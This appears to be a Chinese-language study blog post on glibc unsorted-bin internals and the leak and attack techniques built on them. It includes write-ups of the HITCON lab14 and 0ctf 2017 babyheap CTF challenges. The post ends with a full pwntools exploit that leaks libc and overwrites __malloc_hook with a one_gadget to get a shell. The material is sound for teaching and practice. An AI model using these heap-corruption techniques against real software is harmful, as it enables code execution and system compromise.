[HeapLab] Unsorted bin

Unsorted bins

unsorted bin顾名思义就是没有排序过的bins

我们看一下main_arena中的结构

image-20210310161659389

其中可以看到有0x20到0xb0的fastbins(但是实际上最后三个不用)

之后还有从0x20到0x3f0的smallbins

之后是0x400到0x80000的largebins

这些bins都是双链表,所以比fastbins访问起来要慢一点

关于unsorted bins的来源,主要有三种情况:

  • 如果一个chunk与top chunk不相邻,并且大小大于0x80(即不属于fastbins),在被free后会加入到unsorted bins中;
  • 申请chunk时有时会从一个比较大的chunk中分割成两半,一部分用来分配内存,另一部分则是会加入到unsotred bins中;
  • 当执行malloc_consolidate合并空闲堆块时,如果这个chunk不与top chunk相连,有可能会把合并后的chunk放在unsorted bin中;

在执行malloc的时候,如果在fastbin、smallbin都没有找到合适大小的块,就会在unsorted bin中进行遍历,搜索合适大小的chunk,同时会顺便把unsortedbin中的chunk进行排序,根据chunk的大小放到合适的位置;

unsorted bin的特点是,匹配时会用bk从后向前遍历,对没有排序的chunk进行sort并unlink,如果遇到合适的chunk就会将其unlink并malloc分配;

假设目前unsorted bins中有三项,分别是0x100、0x90、0x400的chunk

image-20210427192221905

这时假设我们执行了一个malloc(0x88),需要一个大小为0x90的chunk

在unsorted bin搜索中从后向前搜索,发现了0x400的chunk

发现大小不符合,将这个chunk放到0x400应该在的large bins中,并将其unlink

unlink的过程实际上是执行了head->bk = p->bk,让头节点中的bk指向unlink掉的chunk之前的chunk

再继续运行搜索发现unsortedbins的头的bk指向的正好是0x90大小,则将其unlink并直接分配给malloc使用;

Unsortedbin 攻击

unsortedbin相关的攻击主要有两个

一是unsortedbin leak

二是unsortedbin attack

unsortedbin leak

我们使用malloc_testbed试一下

chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
malloc(0x28)

free(chuk_B)

首先申请两个不属于fastbin的chunk

之后申请一个fastbin的chunk,为了防止与top chunk相连导致直接合并

最后释放b,在GDB中调试看到确实放在了unsortedbin中

image-20210427202555355

现在由于unsortedbin中除了头节点只有这一项

所以这个chunk_B中的fd、bk都指向了main_arena

查看一下main_arena中unsortedbin的fd和bk

image-20210427203435458

可以看到两个也都是指向了这个chunk

那么我们修改一下脚本,再把这个chunk申请回来

malloc(0x88)

image-20210427205614452

可以看到,这时chunk中的fd和bk是没有被清除的

因此通过输出函数之类的是可以直接输出这两个的值的

unsortedbin leak就是通过输出unsortedbin list中链表尾部的chunk的fd字段,泄漏出main_arena中的地址

由于main_arena一般是在libc中,有了这个值我们就得到了libc中的基地址;就可以通过这个方法绕过ASLR

另外,一般main_arena的起始地址与__malloc_hook的地址只差0x10

所以leak实际上的效果是:

输出了fd即main_arena中unsortedbin的值->

通过这个地址计算出main_arena的起始地址->

通过这个起始地址获得libc的基地址

image-20210427210112889

unsortedbin attack

unsortedbin attack就是针对这个bk在写时没有进行验证的攻击

比较低版本的glibc中没有校验这个最后的bin到底是不是双向链表中的成员

在结合堆溢出或UAF的漏洞编辑unsortedbin中的bk指针后,就可以直接将main_arena中的bk覆盖写掉

glibc/malloc/malloc.c中的_init_malloc有这样一段代码

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这会将bck->fd写入到本unsortedbin的位置

所以我们控制了bk就可以将unsorted_chunks(av)写入到任意位置;

还是之前的那个程序,我们在申请并释放chunk_B之后编辑一下chunk_B,在bk写入伪造的指针

在原本的脚本中加了这样一行

chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
malloc(0x28)

free(chuk_B)

edit(chunk_B,p64(0xdeadbeef) + p64(heap))

运行看到

image-20210427203657655

看到chunk_B的fd和bk都变成了我们写入的值

这之后再执行一次

malloc(0x88)

这时就会申请unsorted bin中的这个块,将其从原本的地方unlink

同时会在main_arena->unsortedbin_bk写入我们伪造的这个bk

image-20210427204005759

为我们这里将bk指向了chunk_A

可以看到chunk_A的fd也变成了main_arena中的unsortedbin

这里的两个写操作是

p = victim;
p->bk->fd = p->fd;
p->fd->bk = p->bk;

由于p是链表尾部的chunk,p->fd是main_arena中unsortedbin头

所以实际上就是头中的bk被写为我们伪造的bk(副作用)

另外在我们伪造的chunk的fd写入unsortedbin头的fd(核心)

核心的效果就是可以在任意地址写入这个unsortedbin head的fd

实例

这边我们做两道题学习一下

HITCON-Training lab14

程序是有源代码的,可以看到主要的内容就是一个循环,如果magic>4869就可以输入flag

void l33t(){
        system("cat /home/magicheap/flag");
}

int main(){
        char buf[8];
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        while(1){
                menu();
                read(0,buf,8);
                switch(atoi(buf)){
                        case 1 :
                                create_heap();
                                break ;
                        case 2 :
                                edit_heap();
                                break ;
                        case 3 :
                                delete_heap();
                                break ;
                        case 4 :
                                exit(0);
                                break ;
                        case 4869 :
                                if(magic > 4869){
                                        puts("Congrt !");
                                        l33t();
                                }else
                                        puts("So sad !");
                                break ;
                        default :
                                puts("Invalid Choice");
                                break;
                }

        }
        return 0 ;
}

要执行magic,我们需要满足两个条件,一是case设置为4869;二是让magic>4869

而与magic有关的地方只有在初始化堆时将其设置为了0

我们可以利用unsortedbin attack向magic处写入unsortedbin的fd

这个数一定是大于4869的

顺理成章的就可以写出脚本

malloc(0x28, '')
malloc(0x98, '')
malloc(0x28, '')
free(1)

payload = p64(0)*5 + p64(0xa1) + p64(0xdeadbeef) + p64(elf.sym.magic-0x10)
edit(chunk_A, len(payload), payload)
malloc(0x98, '')

但是运行的时候发现这个repo 里面现成的程序是和默认的libc链接起来的,这样free之后被加入到了tcachebin而不是unsortedbin

所以用patchelf进行修改,或者也可以重新编译一下

关于patchelf的安装

git clone https://github.com/NixOS/patchelf
cd patchelf
./bootstrap.sh
./configure
make
make install

使用时

patchelf --set-rpath .links magicheap

这样就可以为这个二进制设置一个runpath

只需要在.links下放好需要的ld.so.2libc.so.6两个软链接就可以了

不过这边直接重新编译了一下

gcc magicheap.c -no-pie -o magicheap -Wl,--rpath=.links

运行可以看到这里magic变量的值已经被覆盖了

image-20210429105327312

之后再发送过去4869

image-20210429105515468

就执行了这样一个cat读flag的操作,不过这里没有创建文件夹,就提示no such file了;

babyheap_0ctf_2017

这题可以直接在buuoj上做

首先checksec发现安全机制都打开了

image-20210331150227780

漏洞点位于填充数据的函数中

image-20210331161345496

这里在fill这个选项中虽然进行了长度判断,但是这个比较不是和chunk本身的大小进行比较,而是和用户输入的size比较,所以只要输入一个比较大的size就可以溢出chunk后面的内容

image-20210425102119595

按照double free做一下试试看

a = malloc(0x38)
b = malloc(0x38)

free(a)
free(b)
free(a)

这时gdb调试看到

image-20210425102803867

tcachebins

这是因为链接的库文件不对,网上搜了之后安装了patchelf和glibc-all-in-one

patchelf --set-interpreter=~/glibc-all-in-one/ld.so.2 babyheap
patchelf --set-rpath=~/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ babyheap

之后就可以展开fastbin attack了

但是这个程序开启了Full RELRO和PIE

那么修改got表是不可能了,尝试修改__free_hook__malloc_hook

首先我们需要泄漏出一个libc的地址,之后利用fastbin attack修改__malloc_hook为one_gadget的地址

泄漏libc地址的话可以使用unsortedbin leak

但是这个程序中分配内存时使用的是calloc而不是malloc

分配之后会清零,所以没办法简单的直接读出来

思路是:

  • 首先free两个fastbin,记为a,b
  • 申请一个unsortedbin,记为c
  • 利用溢出修改第二次free的fastbin (b) 的fd,使其指向unsortedbin (c)
  • 利用溢出修改unsortedbin的size,伪造成fastbin的大小
  • malloc两次fastbin,申请到的空间分别是原本b、c所在的空间;这时同时有两个指针指向c
  • 利用溢出修改unsortedbin的size,使其恢复为一个unsortedbin的大小;
  • free掉unsortedbin
  • 利用另一个fastbin的指针泄漏出unsortedbin中的fd和bk,即main_arena的地址

这里有一个注意点,虽然我们不知道堆的地址,但是由于CTF的程序运行时都是堆刚刚初始化的状态,第一个堆快的第8位应该是按0对齐的,所以我们修改fastbin时只修改第八位就可以指向unsortedbin

核心代码

chunk_A = malloc(0x28)

chunk_eB = malloc(0x28)
chunk_B = malloc(0x28)

chunk_eC = malloc(0x28)
chunk_C = malloc(0x88)

chunk_D = malloc(0x28)
# avoid consolidate

free(chunk_A)
free(chunk_B)
fill(chunk_eB,49,p64(0)*5 + p64(0x31) + p8(0xc0))
# point to chunk_C
fill(chunk_eC,48,p64(0)*5 + p64(0x31))
# change size to a fastbin

malloc(0x28)
dup = malloc(0x28)
# point to chunk_C

fill(chunk_eC,48,p64(0)*5 + p64(0x91))
# change size back to unsortedbin

free(chunk_C)

执行这一段脚本

image-20210429193311942

可以看到unsotredbin中的fd和bk都指向了main_arena

那么我们就成功拿到了一个泄漏的libc地址

由于一般__malloc_hookmain_arena只差0x10的距离,我们直接相减就可以得到__malloc_hook的地址

image-20210506143028227

接下来就尝试覆盖__malloc_hook改为system函数或者是one_gadget

再一次利用fastbin_dup,这一次修改其中的fd指向__malloc_hook附近的fake chunk

image-20210520113028864

这里0xaed有一个可以用于伪造的地方

那么

# get shell
chunk_E = malloc(0x68)
chunk_eF = malloc(0x38)
chunk_F = malloc(0x68)
free(chunk_E)
free(chunk_F)

payload = b'\x00'*0x38 + p64(0x71) + p64(malloc_hook-0x23)
# find_fake_fast
fill(chunk_eF,len(payload),payload)

这样之后再申请两次大小为0x68的chunk就可以获得一个在malloc_hook附近的chunk了

malloc(0x68)
chunk = malloc(0x68)
fill(chunk,0x1b,b'\x00'*0x13 + p64(one))

在其中填上gap和one_gadget的地址,结束;

chunk_A = malloc(0x28)

chunk_eB = malloc(0x28)
chunk_B = malloc(0x28)

chunk_eC = malloc(0x28)
chunk_C = malloc(0x88)

chunk_D = malloc(0x28)

free(chunk_A)
free(chunk_B)

fill(chunk_eB,49,p64(0)*5+p64(0x31)+p8(0xc0))
fill(chunk_eC,48,p64(0)*5+p64(0x31))

malloc(0x28)
dup = malloc(0x28)

fill(chunk_eC,48,p64(0)*5+p64(0x91))
free(chunk_C)
io.recvuntil('Command: ')
io.sendline('4')
io.recvuntil('Index: ')
io.sendline(str(dup))
io.recvuntil('Content: \n')

fd = u64(io.recv(6).ljust(8,b'\x00'))
main_arena = fd-0x58
success("Main Arena's Address is "+hex(main_arena))

malloc_hook = main_arena-0x10
libc = LibcSearcher('__malloc_hook',malloc_hook)
libc_base = malloc_hook - libc.dump('__malloc_hook')
system = libc_base + libc.dump('system')
success("System's Address: "+hex(system))
one = libc_base +0x4526a
success("One Gadget's Address: "+hex(one))

# get shell
chunk_E = malloc(0x68)
chunk_eF = malloc(0x38)
chunk_F = malloc(0x68)
free(chunk_E)
free(chunk_F)

payload = b'\x00'*0x38 + p64(0x71) + p64(malloc_hook-0x23)
# find_fake_fast
fill(chunk_eF,len(payload),payload)

malloc(0x68)
chunk = malloc(0x68)
fill(chunk,0x1b,b'\x00'*0x13 + p64(one))
malloc(0x8)

io.interactive()